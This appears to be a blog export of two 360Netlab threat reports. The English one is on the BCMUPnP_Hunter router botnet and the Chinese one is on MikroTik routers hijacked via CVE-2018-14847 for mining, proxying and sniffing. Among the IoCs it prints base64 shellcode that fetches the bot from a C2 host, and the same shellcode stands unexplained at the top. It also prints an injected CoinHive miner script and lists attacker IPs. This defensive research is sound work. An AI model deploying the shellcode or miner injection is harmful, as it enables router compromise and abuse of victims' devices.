AtYgJSQCD6YBAQEMArUgJSQCD6YBAQEMJ6T/yq+k/+CvoP/kJ6X/4CgG//8kAg+rAQEBDCgE//8kAg+hAQEBDAO9uCUnvf/gJA///QHgICckD//9AeAoJygG//8kAhBXAQEBDK+i/9yPtv/cJA8TNwLWICUkD//9AeB4J6ev/+AkDyIip6//4iQPbfinr//kJA8JEaev/+avoP/or6D/7Cel/+AkD//vAeAwJyQCEEoBAQEMJA8vdKev/8okD21wp6//zCQPL3Snr//OJA9tcKev/9AkD2Zzp6//0qeg/9QnpP/KJA/+EgHgKCckAg/HAQEBDCgE//8npf/KJ6b/zygH//+u4P/wJAIPtQEBAQwkDy90p6//1CQPbXCnr//WJA9mc6ev/9inoP/aJ6T/yiQP/hIB4CgnJAIPqAEBAQyvov/cj7X/3CQPEzcC1iAlJ6X/4CQP/98B4DAnKAf//yQCEE8BAQEMr6L/3I+0/9wkDxM3BoD/ryQPEzcagP+gJA8TNwK1ICUnpf/gApQwJSQCD6QBAQEMFoL/piQPEzcSgv/qJA8TNzQP3q00D96t

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"This article was co-authored by [*Hui Wang*](https://twitter.com/huiwangeth) and [*RootKiter*](https://twitter.com/RooKiter).\n\n\nSince September 2018, [360Netlab Scanmon](https://scan.netlab.360.com/#/dashboard?dstport=5431) has detected multiple scan [spikes on TCP port 5431](https://twitter.com/liuya0904/status/1044960012072697856), each time the system logged more than 100k scan sources, a pretty large number compared with most other botnets we have covered before. \n\nThe interaction between the botnet and the potential target takes multiple steps, it starts with `tcp port 5431` destination scan, then moving on to check target’s `UDP port 1900` and wait for the target to send the proper vulnerable URL. After getting the proper URL, it takes another 4 packet exchanges for the attacker to figure out where the shellcode's execution start address in memory is so a right exploit payload can be crafted and fed to the target.\n\nAt the beginning we were not able to capture a valid sample as the honeypot needs to be able to simulate the above scenarios. We had to tweak and customize our honeypot quite a few times, then finally in Oct, we got it right and successfully tricked the botnet to send us the sample (we call it BCMUPnP_Hunter).\n\nThe botnet has the following characteristics:\n\n * The amount of infection is very large, the number of active scanning IP in each scan event is about 100,000;\n * The target of infection is mainly router equipment with BroadCom UPnP feature enabled.\n * Self-built proxy network (tcp-proxy), the proxy network is implemented by the attacker, the proxy currently communicates with well-known mail servers such as Outlook, Hotmail, Yahoo! Mail, etc. We highly suspect that the attacker's intention is to send spams.\n\n\n# Scale Assessment\nThe trend of scanning source IP for `TCP port 5431` in the last 30 days is as follows:\n\n\n * It can be seen that the scan activity picks up every 1-3 days. The number of active scanning IP in each single event is about 100,000\n * All together we have 3.37 million unique scan source IPs. It is a big number, but it is likely that the IPs of the same infected devices just changed over time.\n * The number of potential infections may reach 400,000 according to [Shodan]( https://www.shodan.io/search?query=Server%3A%20Custom%2F1.0%20UPnP%2F1.0%20Proc%2FVer) based on the search of banner: `Server: Custom/1.0 UPnP/1.0 Proc/Ver`\n\nGeographical distribution for the scanner IPs in the last 7 days (click to enlarge, deeper means more infected devices).\n<a href=\"__GHOST_URL__/content/images/2018/11/Snip20181102_10.png\" target=\"_blank\"><img src=\"__GHOST_URL__/content/images/2018/11/Snip20181102_9.png\" /></a>\n\n# Infected Device Information\nWe probed the scanners, and 116 different type of infected device information is obtained, the actual infected device type should be more than what displays below:\n\n```\nADB Broadband S.p.A,\tHomeStation ADSL Router\nADB Broadband,\tADB ADSL Router\nADBB,\tADB ADSL Router\nALSiTEC,\tBroadcom ADSL Router\nASB,\tADSL Router\nASB,\tChinaNet EPON Router\nASB,\tChinaTelecom E8C(EPON) Gateway\nActiontec,\tActiontec GT784WN\nActiontec,\tVerizon ADSL Router\nBEC Technologies Inc.,\tBroadcom ADSL Router\nBest IT World India Pvt. Ltd.,\t150M Wireless-N ADSL2+ Router\nBest IT World India Pvt. Ltd.,\tiB-WRA300N\nBillion Electric Co., Ltd.,\tADSL2+ Firewall Router\nBillion Electric Co., Ltd.,\tBiPAC 7800NXL\nBillion,\tBiPAC 7700N\nBillion,\tBiPAC 7700N R2\nBinatone Telecommunication,\tBroadcom LAN Router\nBroadcom,\tADSL Router\nBroadcom,\tADSL2+ 11n WiFi CPE\nBroadcom,\tBroadcom Router\nBroadcom,\tBroadcom ADSL Router\nBroadcom,\tD-Link DSL-2640B\nBroadcom,\tD-link ADSL Router\nBroadcom,\tDLink ADSL Router\nClearAccess,\tBroadcom ADSL Router\nComtrend,\tAR-5383n\nComtrend,\tBroadcom ADSL Router\nComtrend,\tComtrend single-chip ADSL router\nD-Link Corporation.,\tD-Link DSL-2640B\nD-Link Corporation.,\tD-Link DSL-2641B\nD-Link Corporation.,\tD-Link DSL-2740B\nD-Link Corporation.,\tD-Link DSL-2750B\nD-Link Corporation.,\tD-LinkDSL-2640B\nD-Link Corporation.,\tD-LinkDSL-2641B\nD-Link Corporation.,\tD-LinkDSL-2741B\nD-Link Corporation.,\tDSL-2640B\nD-Link,\tADSL 4*FE 11n Router\nD-Link,\tD-Link ADSL Router\nD-Link,\tD-Link DSL-2640U\nD-Link,\tD-Link DSL-2730B\nD-Link,\tD-Link DSL-2730U\nD-Link,\tD-Link DSL-2750B\nD-Link,\tD-Link DSL-2750U\nD-Link,\tD-Link DSL-6751\nD-Link,\tD-Link DSL2750U\nD-Link,\tD-Link Router\nD-Link,\tD-link ADSL Router\nD-Link,\tDVA-G3672B-LTT Networks ADSL Router\nDARE,\tDare router\nDLink,\tD-Link DSL-2730B\nDLink,\tD-Link VDSL Router\nDLink,\tDLink ADSL Router\nDQ Technology, Inc.,\tADSL2+ 11n WiFi CPE\nDQ Technology, Inc.,\tBroadcom ADSL Router\nDSL,\tADSL Router\nDareGlobal,\tD-Link ADSL Router\nDigicom S.p.A.,\tADSL Wireless Modem/Router\nDigicom S.p.A.,\tRAW300C-T03\nDlink,\tD-Link DSL-225\nEltex,\tBroadcom ADSL Router\nFiberHome,\tBroadcom ADSL Router\nGWD,\tChinaTelecom E8C(EPON) Gateway\nGenew,\tBroadcom ADSL Router\nINTEX,\tW150D\nINTEX,\tW300D\nINTEX,\tWireless N 150 ADSL2+ Modem Router\nINTEX,\tWireless N 300 ADSL2+ Modem Router\nITI Ltd.,\tITI Ltd.ADSL2Plus Modem/Router\nInteno,\tBroadcom ADSL Router\nIntercross,\tBroadcom ADSL Router\nIskraTEL,\tBroadcom ADSL Router\nKasda,\tBroadcom ADSL Router\nLink-One,\tModem Roteador Wireless N ADSL2+ 150 Mbps\nLinksys,\tCisco X1000\nLinksys,\tCisco X3500\nNB,\tDSL-2740B\nNetComm Wireless Limited,\tNetComm ADSL2+ Wireless Router\nNetComm,\tNetComm ADSL2+ Wireless Router\nNetComm,\tNetComm WiFi Data and VoIP Gateway\nOPTICOM,\tDSLink 279\nOpticom,\tDSLink 485\nOrcon,\tGenius\nQTECH,\tQTECH\nRaisecom,\tBroadcom ADSL Router\nRamptel,\t300Mbps ADSL Wireless-N Router\nRouter,\tADSL2+ Router\nSCTY,\tTYKH PON Router\nStar-Net,\tBroadcom ADSL Router\nStarbridge Networks,\tBroadcom ADSL Router\nTP-LINK Technologies Co., Ltd,\t300Mbps Wireless N ADSL2+ Modem Router\nTP-LINK Technologies Co., Ltd,\t300Mbps Wireless N USB ADSL2+ Modem Router\nTP-LINK,\tTP-LINK Wireless ADSL2+ Modem Router\nTP-LINK,\tTP-LINK Wireless ADSL2+ Router\nTechnicolor,\tCenturyLink TR-064 v4.0\nTenda,\tTenda ADSL2+ WIFI MODEM\nTenda,\tTenda ADSL2+ WIFI Router\nTenda,\tTenda Gateway\nTenda/Imex,\tADSL2+ WIFI-MODEM WITH 3G/4G USB PORT\nTenda/Imex,\tADSL2+ WIFI-MODEM WITH EVO SUPPORT\nUTStarcom Inc.,\tUTStarcom ADSL2+ Modem Router\nUTStarcom Inc.,\tUTStarcom ADSL2+ Modem/Wireless Router\nUniqueNet Solutions,\tWLAN N300 ADSL2+ Modem Router\nZTE,\tBroadcom ADSL Router\nZTE,\tONU Router\nZYXEL,\tZyXEL VDSL Router\nZhone,\tBroadcom ADSL Router\nZhone,\tZhone Wireless Gateway\nZoom,\tZoom Adsl Modem/Router\nZyXEL,\tCenturyLink UPnP v1.0\nZyXEL,\tP-660HN-51\nZyXEL,\tZyXEL xDSL Router\nhuaqin,\tHGU210 v3 Router\niBall Baton,\tiBall Baton 150M Wireless-N ADSL2+ Router\niiNet Limited,\tBudiiLite\niiNet,\tBoB2\niiNet,\tBoBLite\n```\n\n# Botnet Workflow\nAs mentioned in the beginning, the bot has to go through multiple steps to infect a protentional target, see the following diagram for the workflow, note the Loader is ( `109.248.9.17:4369`) \n\n<a href=\"__GHOST_URL__/content/images/2018/10/bcm_p.png\" target=\"_blank\"><img src=\"__GHOST_URL__/content/images/2018/10/bcm_p0.png\" /></a><center>Figure 1: BCMUPnP_Hunter Infection process (Click to enlarge)</center>\n\n\n# The Sample\nThe sample of the botnet consists of two parts, the shellcode and the Main sample, which are described below.\n\n##shellcode\nThe main function of shellcode is to download the main sample from C2(`109.248.9.17:8738`) and execute it.\n\nThe shellcode has a full length of 432 bytes, very neatly organized and written, some proofs below (We did not find similar code using search engines). It seems that the author has profound skills and is not a typical script kid:\n\n * Code basic: The code has multiple syscall calls for networks, processes, files, etc.\n * Some details: `syscall 0x40404`(instead of `syscall 0`) and multiple inversion operations were used so bad characters (`\\x00`) could be avoided; the stack variables in the code also have different degrees of multiplexing to optimize the runtime stack structure;\n * Code logic: by calling the Loop at various section, the possibility of many failed calls is reasonably avoided, and the validity of shellcode execution is guaranteed. \n\nThe complete flow chart is as follows:\n\n<a href=\"__GHOST_URL__/content/images/2018/10/5431_mips_shellcode_color.png\" target=\"_blank\"><img src=\"__GHOST_URL__/content/images/2018/10/5431_mips_shellcode_color_min.png\" /></a><center>Figure 2: Shellcode calling graph(Click to enlarge)</center>\n\n\n\n##Main Sample\n\nThe main sample includes BroadCom UPnP vulnerability probe and a proxy access network module, it can parse four instruction codes from C2:\n\n```\nCommand Code | Length | Function\n0x00000000 0x18 The first packet, no practical function\n0x01010101 0x4c Search for potential vulnerable target\n0x02020202 0x08 Empty current task \n0x03030303 0x108 Access Proxy Network\n```\n\n\n * `0x01010101` to enable the port scan task, once the BOT IDs a potential target, the target IP will be reported to the Loader, and then the Loader will complete the subsequent infection process.\n * `0x03030303` is for the proxy service, BOT accesses the address provided in the instruction and reports the access result to the C2. This can generate real economic benefits. Attackers can use this command to build a proxy network, and then profit from doing things such as sending spam, simulating clicks, and so on. \n\n\n#Proxy Network and Spam\nIn the instructions we have obtained, BCMUPnP_Hunter is used to proxy traffic to the following servers:\n\n```\n104.47.0.33:25\n104.47.12.33:25\n104.47.124.33:25\n104.47.14.33:25\n104.47.33.33:25\n104.47.48.33:25\n104.47.50.33:25\n106.10.248.84:25\n144.160.159.21:25\n188.125.73.87:25\n67.195.229.59:25\n74.6.137.63:25\n74.6.137.64:25\n98.137.159.28:25\n```\n\n\nThis table shows what we have dug out from our various data sources for the above IPs:\n\n\n\nAs can be seen:\n\n * These servers are all well-known mail service providers, including Outlook, Hotmail, Yahoo! Mail;\n * For several months, these servers have provided and only provided TCP25 services;\n * In this case, it appears that the attacker is abusing the email service of these servers;\n\nThis makes us highly skeptical that the attacker is using the proxy network established by BCMUPnP_Hunter to send spam.\n\n#Contact Us\n\nRelevant security oragnizations are welcomed to contact netlab[at]360.cn for a full list of infected IP addresses.\n\nReaders are always welcomed to reach us on [twitter](https://twitter.com/360Netlab), WeChat 360Netlab or email to netlab[at]360.cn.\n\n#Appendix: About the BroadCom UPnP Vulnerability\n\nUPnP is the acronym for Universal Plug and play, the Universal plug-in protocol. [*[1]*](https://en.wikipedia.org/wiki/Universal_Plug_and_Play) The goal of the agreement is to enable home networks (data sharing, communication and entertainment) and various devices in the corporate network to seamlessly connect with each other and simplify the implementation of related networks. Broadcom UPnP is a concrete implementation of Broadcom's response to the UPnP protocol.\n\nAs Broadcom is in the industry upstream of the supply chain, the implementation is adopted by major router manufacturers, including Asus, D-link,zyxel,us Robotics,t p-link,netgear and so on.\n\nIn October 2013, security researchers at security research firm DefenseCode discovered the [BroadCom UPnP format string vulnerability](http://defensecode.com/whitepapers/From_Zero_To_ZeroDay_Network_Devices_Exploitation.txt) in the protocol stack . Considering that the vulnerability affects products from several major router vendors, DefenseCode did not disclose their findings until 2017. The code disclosed this time is of a verification nature[*[2]*](https://www.defensecode.com/public/DefenseCode_Broadcom_Security_Advisory.pdf) An attacker must complete the necessary vulnerability analysis and optimize the shellcode process on the basis of a publicly available document before it can be of practical power.\n\n# IoC\nC2\n```\n109.248.9.17 \"Bulgaria/BG\" \"AS58222 Solar Invest UK LTD\" #C2&&Loader\n```\nSample MD5\n```\n9036120904827550bf4436a919d3e503\n```\nShellcode(Base64 encode): \n```\nAtYgJSQCD6YBAQEMArUgJSQCD6YBAQEMJ6T/yq+k/+CvoP/kJ6X/4CgG//8kAg+rAQEBDCgE//8kAg+hAQEBDAO9uCUnvf/gJA///QHgICckD//9AeAoJygG//8kAhBXAQEBDK+i/9yPtv/cJA8TNwLWICUkD//9AeB4J6ev/+AkDyIip6//4iQPbfinr//kJA8JEaev/+avoP/or6D/7Cel/+AkD//vAeAwJyQCEEoBAQEMJA8vdKev/8okD21wp6//zCQPL3Snr//OJA9tcKev/9AkD2Zzp6//0qeg/9QnpP/KJA/+EgHgKCckAg/HAQEBDCgE//8npf/KJ6b/zygH//+u4P/wJAIPtQEBAQwkDy90p6//1CQPbXCnr//WJA9mc6ev/9inoP/aJ6T/yiQP/hIB4CgnJAIPqAEBAQyvov/cj7X/3CQPEzcC1iAlJ6X/4CQP/98B4DAnKAf//yQCEE8BAQEMr6L/3I+0/9wkDxM3BoD/ryQPEzcagP+gJA8TNwK1ICUnpf/gApQwJSQCD6QBAQEMFoL/piQPEzcSgv/qJA8TNzQP3q00D96t\n```\n\n\n\n"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

137

post

2018-09-03T03:56:18.000Z

63873b9a8b1c1e0007f52f32

7500-mikrotik-routers-are-forwarding-owners-traffic-to-the-attackers-how-is-yours

2020-12-21T03:54:06.000Z

public

published

2018-09-04T05:28:20.000Z

窃听风云: 你的MikroTik路由器正在被监听

<!--kg-card-begin: markdown--><h4 id="">背景介绍</h4> <p>MikroTik是一家拉脱维亚公司，成立于1996年，致力于开发路由器和无线ISP系统。MikroTik现在为世界上大多数国家/地区的互联网连接提供硬件和软件。在1997年，MikroTik创建了RouterOS软件系统，在2002年，MikroTik决定制造自己的硬件并创建了RouterBOARD品牌，每个RouterBOARD设备都运行RouterOS软件系统。<a href="https://mikrotik.com/aboutus">[1]</a></p> <p>根据维基解密披露的CIA Vault7黑客工具Chimay Red涉及到2个漏洞利用，其中包括Winbox任意目录文件读取（CVE-2018-14847）和Webfig远程代码执行漏洞。<a href="https://wikileaks.org/ciav7p1/cms/page_16384604.html">[2]</a></p> <p>Winbox是一个Windows GUI应用程序，Webfig是一个Web应用程序，两者都是RouterOS一个组件并被设计为路由器管理系统。Winbox和Webfig与RouterOS的网络通信分别在TCP/8291端口上，TCP/80或TCP/8080等端口上。<a href="https://wiki.mikrotik.com/wiki/Manual:Winbox">[3]</a> <a href="https://wiki.mikrotik.com/wiki/Manual:Webfig">[4]</a></p> <p>通过360Netlab Anglerfish蜜罐系统，我们观察到恶意软件正在利用MikroTik CVE-2018-14847漏洞植入CoinHive挖矿代码，启用Socks4代理，监听路由器网络流量等。同时我们也看到业界已有部分关于CoinHive挖矿和Socks4代理披露，其中包括《BOTNET KAMPANJA NAPADA MIKROTIK USMJERIVAČE》<a href="https://www.cert.hr/NCBotMikroTik">[5]</a> 和《Mass MikroTik Router Infection – First we cryptojack Brazil, then we take the World?》<a href="https://www.trustwave.com/Resources/SpiderLabs-Blog/Mass-MikroTik-Router-Infection-%E2%80%93-First-we-cryptojack-Brazil,-then-we-take-the-World-/">[6]</a></p> <p>从2018-08-09至今，我们对CVE-2018-14847在全网的分布和利用做了多轮精确度量。每次发起度量时，我们严格遵循Winbox协议发起通信，因此可以精确确认通信对端就是MikroTik 路由器，并且能够准确判定这些路由器是否失陷、以及失陷后被利用做了什么。考虑到MikroTik设备的IP地址会动态更新，本文根据2018-08-23～2018-08-24的扫描数据做分析，并披露一些攻击数据。</p> <h4 id="">脆弱性分布</h4> <p>通过对全网TCP/8291端口扫描分析，发现开放该端口的IP数为<strong>5,000k</strong>，有<strong>1,200k</strong>确认为Mikrotik设备。其中有 <strong>370k(30.83%)</strong> 存在CVE-2018-14847漏洞。</p> <p><img src="__GHOST_URL__/content/images/2018/09/11-2.png" alt="MikroTik RouterOS CVE-2018-14847 Distribution" loading="lazy"></p> <p>以下是Top 20 国家统计列表（设备数量、国家）。</p> <pre><code class="language-bash">42376 Brazil/BR 40742 Russia/RU 22441 Indonesia/ID 21837 India/IN 19331 Iran/IR 16543 Italy/IT 14357 Poland/PL 14007 United States/US 12898 Thailand/TH 12720 Ukraine/UA 11124 China/CN 10842 Spain/ES 8758 South Africa/ZA 8621 Czech/CZ 6869 Argentina/AR 6474 Colombia/CO 6134 Cambodia/KH 5512 Bangladesh/BD 4857 Ecuador/EC 4162 Hungary/HU </code></pre> <h4 id="coinhive">被植入CoinHive挖矿代码</h4> <p>攻击者在启用MikroTik RouterOS http代理功能后，使用了一些技巧，将所有的HTTPProxy请求重定向到一个本地的HTTP 403 error.html 页面。在这个页面中，攻击者嵌入了一个来自 CoinHive.com 的挖矿代码链接。通过这种方式，攻击者希望利用所有经过失陷路由器上HTTP代理的流量来挖矿牟利。</p> <p><img src="__GHOST_URL__/content/images/2018/09/4-5.png" alt="web-proxy" loading="lazy"></p> <p>然而实际上这些挖矿代码不会有效工作。这是因为所有的外部Web资源，包括哪些挖矿所必须的来自CoinHive.com的代码，都会被攻击者自己设定访问控制权限所拦截。下面是一个示例。</p> <pre><code class="language-bash"># curl -i --proxy http://192.168.40.147:8080 http://netlab.360.com HTTP/1.0 403 Forbidden Content-Length: 418 Content-Type: text/html Date: Sat, 26 Aug 2017 03:53:43 GMT Expires: Sat, 26 Aug 2017 03:53:43 GMT Server: Mikrotik HttpProxy Proxy-Connection: close &lt;html&gt; &lt;head&gt; &lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=windows-1251&quot;&gt; &lt;title&gt;&quot;http://netlab.360.com/&quot;&lt;/title&gt; &lt;script src=&quot;https://coinhive.com/lib/coinhive.min.js&quot;&gt;&lt;/script&gt; &lt;script&gt; var miner = new CoinHive.Anonymous('hsFAjjijTyibpVjCmfJzlfWH3hFqWVT3', {throttle: 0.2}); miner.start(); &lt;/script&gt; &lt;/head&gt; &lt;frameset&gt; &lt;frame src=&quot;http://netlab.360.com/&quot;&gt;&lt;/frame&gt; &lt;/frameset&gt; &lt;/html&gt; </code></pre> <h4 id="9515421612825socks4">被95.154.216.128/25启用Socks4代理</h4> <p>目前，我们共检测到 <strong>239K</strong> 个IP被恶意启用Socks4代理，Socks4端口一般为TCP/4153，并设置Socks4代理只允许95.154.216.128/25访问 <em>(这里的权限控制是通过socks代理程序完成，防火墙不会屏蔽任意IP对TCP/4153端口的请求)</em>。</p> <p>因为MikroTik RouterOS设备会更新IP地址，攻击者设置了定时任务访问攻击者指定的URL以此获取最新的IP地址。此外，攻击者还通过这些失陷的Socks4代理继续扫描更多的MikroTik RouterOS设备。</p> <p><img src="__GHOST_URL__/content/images/2018/09/5.png" alt="script" loading="lazy"></p> <h4 id="">网络流量被监听</h4> <p>MikroTik RouterOS设备允许用户在路由器上抓包，并把捕获的网络流量转发到指定Stream服务器。<a href="https://wiki.mikrotik.com/wiki/Manual:Tools/Packet_Sniffer">[7]</a></p> <p>目前共检测到 <strong>7.5k</strong> MikroTik RouterOS设备IP已经被攻击者非法监听，并转发TZSP流量到指定的IP地址，通信端口UDP/37008。</p> <p><strong>37.1.207.114</strong> 在控制范围上显著区别于其他所有攻击者。该IP监听了大部分MikroTik RouterOS设备，主要监听TCP协议20，21，25，110，143端口，分别对应FTP-data，FTP，SMTP，POP3，IMAP协议流量。这些应用协议都是通过明文传输数据的，攻击者可以完全掌握连接到该设备下的所有受害者的相关网络流量，包括FTP文件，FTP账号密码，电子邮件内容，电子邮件账号密码等。以下是packet-sniffer页面示例。</p> <p><img src="__GHOST_URL__/content/images/2018/09/6.png" alt="packet-sniffer" loading="lazy"></p> <p><strong>185.69.155.23</strong> 是另外一个有意思的攻击者，他主要监听TCP协议110, 143, 21端口以及UDP协议161，162端口。161/162代表了SNMP（简单网络管理协议，Simple Network Management Protocol），能够支持网络管理系统，用以监测连接到网络上的设备）。<a href="https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol">[8]</a> 因此，攻击者通过监听SNMP可以得到整个内部网络上的所有连接设备信息。</p> <p>以下是Top攻击者统计列表（曾经控制设备数量、攻击者IP）。</p> <pre><code>5164 37.1.207.114 1347 185.69.155.23 1155 188.127.251.61 420 5.9.183.69 123 77.222.54.45 123 103.193.137.211 79 24.255.37.1 26 45.76.88.43 16 206.255.37.1 </code></pre> <p>以下是所有攻击者Top监听端口统计列表。</p> <pre><code class="language-bash">5837 21 5832 143 5784 110 4165 20 2850 25 1328 23 1118 1500 1095 8083 993 3333 984 50001 982 8545 677 161 673 162 355 3306 282 80 243 8080 237 8081 230 8082 168 53 167 2048 </code></pre> <p>通过对受害者IP分析，其中俄罗斯受影响最严重。以下是受害者Top分布统计列表。全部的受害者IP地址，不会向公众公布。各受影响国家的相关安全和执法机构，可以向我们联系索取对应的IP地址列表。</p> <pre><code class="language-bash">1628 Russia/RU 637 Iran/IR 615 Brazil/BR 594 India/IN 544 Ukraine/UA 375 Bangladesh/BD 364 Indonesia/ID 218 Ecuador/EC 191 United States/US 189 Argentina/AR 122 Colombia/CO 113 Poland/PL 106 Kenya/KE 100 Iraq/IQ 92 Austria/AT 92 Asia-Pacific Region/ 85 Bulgaria/BG 84 Spain/ES 69 Italy/IT 63 South Africa/ZA 62 Czech/CZ 59 Serbia/RS 56 Germany/DE 52 Albania/AL 50 Nigeria/NG 47 China/CN 39 Netherlands/NL 38 Turkey/TR 37 Cambodia/KH 32 Pakistan/PK 30 United Kingdom/GB 29 European Union 26 Latin America 25 Chile/CL 24 Mexico/MX 22 Hungary/HU 20 Nicaragua/NI 19 Romania/RO 18 Thailand/TH 16 Paraguay/PY </code></pre> <h4 id="">处置建议</h4> <p>由CVE-2018-14847导致的安全风险远不止于此，我们已经看到MikroTik RouterOS已经被诸多攻击者恶意利用，我们也相信还会有更多的攻击者和攻击手段继续参与进来。</p> <p>我们建议MikroTik RouterOS用户及时更新软件系统，同时检测http代理，Socks4代理和网络流量抓包功能是否被攻击者恶意利用。</p> <p>我们建议MikroTik厂商禁止向互联网开放Webfig和Winbox端口，完善软件安全更新机制。</p> <p>相关安全和执法机构，可以邮件联系netlab[at]360.cn获取被感染的IP地址列表。</p> <h4 id="">联系我们</h4> <p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者在微信公众号 <strong>360Netlab</strong> 上联系我们。</p> <h4 id="ioc">IoC</h4> <pre><code>37.1.207.114 AS50673 Serverius Holding B.V. 185.69.155.23 AS200000 Hosting Ukraine LTD 188.127.251.61 AS56694 Telecommunication Systems, LLC 5.9.183.69 AS24940 Hetzner Online GmbH 77.222.54.45 AS44112 SpaceWeb Ltd 103.193.137.211 AS64073 Vetta Online Ltd 24.255.37.1 AS22773 Cox Communications Inc. 45.76.88.43 AS20473 Choopa, LLC 206.255.37.1 AS53508 Cablelynx 95.154.216.167 AS20860 iomart Cloud Services Limited. </code></pre> <!--kg-card-end: markdown-->

背景介绍 MikroTik是一家拉脱维亚公司，成立于1996年，致力于开发路由器和无线ISP系统。MikroTik现在为世界上大多数国家/地区的互联网连接提供硬件和软件。在1997年，MikroTik创建了RouterOS软件系统，在2002年，MikroTik决定制造自己的硬件并创建了RouterBOARD品牌，每个RouterBOARD设备都运行RouterOS软件系统。[1] 根据维基解密披露的CIA Vault7黑客工具Chimay Red涉及到2个漏洞利用，其中包括Winbox任意目录文件读取（CVE-2018-14847）和Webfig远程代码执行漏洞。[2] Winbox是一个Windows GUI应用程序，Webfig是一个Web应用程序，两者都是RouterOS一个组件并被设计为路由器管理系统。Winbox和Webfig与RouterOS的网络通信分别在TCP/8291端口上，TCP/80或TCP/8080等端口上。[3] [4] 通过360Netlab Anglerfish蜜罐系统，我们观察到恶意软件正在利用MikroTik CVE-2018-14847漏洞植入CoinHive挖矿代码，启用Socks4代理，监听路由器网络流量等。同时我们也看到业界已有部分关于CoinHive挖矿和Socks4代理披露，其中包括《BOTNET KAMPANJA NAPADA MIKROTIK USMJERIVAČE》[5] 和《Mass MikroTik Router Infection – First we cryptojack Brazil, then we take the World?》[6] 从2018-08-09至今，我们对CVE-2018-14847在全网的分布和利用做了多轮精确度量。每次发起度量时，我们严格遵循Winbox协议发起通信，因此可以精确确认通信对端就是MikroTik 路由器，并且能够准确判定这些路由器是否失陷、以及失陷后被利用做了什么。考虑到MikroTik设备的IP地址会动态更新，本文根据2018-08-23～2018-08-24的扫描数据做分析，并披露一些攻击数据。 脆弱性分布 通过对全网TCP/8291端口扫描分析，发现开放该端口的IP数为5,000k，有1,200k确认为Mikrotik设备。其中有 370k(30.83%) 存在CVE-2018-14847漏洞。 以下是Top 20 国家统计列表（设备数量、国家）。 42376 Brazil/BR 40742 Russia/RU 22441 Indonesia/ID 21837 India/IN 19331 Iran/IR 16543 Italy/IT 14357 Poland/PL 14007 United States/US 12898 Thailand/TH 12720 Ukraine/UA 11124 China/CN 10842 Spain/ES 8758 South Africa/ZA 8621 Czech/CZ 6869 Argentina/AR 6474 Colombia/CO 6134 Cambodia/KH 5512 Bangladesh/BD 4857 Ecuador/EC 4162 Hungary/HU 被植入CoinHive挖矿代码 攻击者在启用MikroTik RouterOS http代理功能后，使用了一些技巧，将所有的HTTPProxy请求重定向到一个本地的HTTP 403 error.html 页面。在这个页面中，攻击者嵌入了一个来自 CoinHive.com 的挖矿代码链接。通过这种方式，攻击者希望利用所有经过失陷路由器上HTTP代理的流量来挖矿牟利。 然而实际上这些挖矿代码不会有效工作。这是因为所有的外部Web资源，包括哪些挖矿所必须的来自CoinHive.com的代码，都会被攻击者自己设定访问控制权限所拦截。下面是一个示例。 # curl -i --proxy http://192.168.40.147:8080 http://netlab.360.com HTTP/1.0 403 Forbidden Content-Length: 418 Content-Type: text/html Date: Sat, 26 Aug 2017 03:53:43 GMT Expires: Sat, 26 Aug 2017 03:53:43 GMT Server: Mikrotik HttpProxy Proxy-Connection: close <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> <title>"http://netlab.360.com/"</title> <script src="https://coinhive.com/lib/coinhive.min.js"></script> <script> var miner = new CoinHive.Anonymous('hsFAjjijTyibpVjCmfJzlfWH3hFqWVT3', {throttle: 0.2}); miner.start(); </script> </head> <frameset> <frame src="http://netlab.360.com/"></frame> </frameset> </html> 被95.154.216.128/25启用Socks4代理 目前，我们共检测到 239K 个IP被恶意启用Socks4代理，Socks4端口一般为TCP/4153，并设置Socks4代理只允许95.154.216.128/25访问 (这里的权限控制是通过socks代理程序完成，防火墙不会屏蔽任意IP对TCP/4153端口的请求)。 因为MikroTik RouterOS设备会更新IP地址，攻击者设置了定时任务访问攻击者指定的URL以此获取最新的IP地址。此外，攻击者还通过这些失陷的Socks4代理继续扫描更多的MikroTik RouterOS设备。 网络流量被监听 MikroTik RouterOS设备允许用户在路由器上抓包，并把捕获的网络流量转发到指定Stream服务器。[7] 目前共检测到 7.5k MikroTik RouterOS设备IP已经被攻击者非法监听，并转发TZSP流量到指定的IP地址，通信端口UDP/37008。 37.1.207.114 在控制范围上显著区别于其他所有攻击者。该IP监听了大部分MikroTik RouterOS设备，主要监听TCP协议20，21，25，110，143端口，分别对应FTP-data，FTP，SMTP，POP3，IMAP协议流量。这些应用协议都是通过明文传输数据的，攻击者可以完全掌握连接到该设备下的所有受害者的相关网络流量，包括FTP文件，FTP账号密码，电子邮件内容，电子邮件账号密码等。以下是packet-sniffer页面示例。 185.69.155.23 是另外一个有意思的攻击者，他主要监听TCP协议110, 143, 21端口以及UDP协议161，162端口。161/162代表了SNMP（简单网络管理协议，Simple Network Management Protocol），能够支持网络管理系统，用以监测连接到网络上的设备）。[8] 因此，攻击者通过监听SNMP可以得到整个内部网络上的所有连接设备信息。 以下是Top攻击者统计列表（曾经控制设备数量、攻击者IP）。 5164 37.1.207.114 1347 185.69.155.23 1155 188.127.251.61 420 5.9.183.69 123 77.222.54.45 123 103.193.137.211 79 24.255.37.1 26 45.76.88.43 16 206.255.37.1 以下是所有攻击者Top监听端口统计列表。 5837 21 5832 143 5784 110 4165 20 2850 25 1328 23 1118 1500 1095 8083 993 3333 984 50001 982 8545 677 161 673 162 355 3306 282 80 243 8080 237 8081 230 8082 168 53 167 2048 通过对受害者IP分析，其中俄罗斯受影响最严重。以下是受害者Top分布统计列表。全部的受害者IP地址，不会向公众公布。各受影响国家的相关安全和执法机构，可以向我们联系索取对应的IP地址列表。 1628 Russia/RU 637 Iran/IR 615 Brazil/BR 594 India/IN 544 Ukraine/UA 375 Bangladesh/BD 364 Indonesia/ID 218 Ecuador/EC 191 United States/US 189 Argentina/AR 122 Colombia/CO 113 Poland/PL 106 Kenya/KE 100 Iraq/IQ 92 Austria/AT 92 Asia-Pacific Region/ 85 Bulgaria/BG 84 Spain/ES 69 Italy/IT 63 South Africa/ZA 62 Czech/CZ 59 Serbia/RS 56 Germany/DE 52 Albania/AL 50 Nigeria/NG 47 China/CN 39 Netherlands/NL 38 Turkey/TR 37 Cambodia/KH 32 Pakistan/PK 30 United 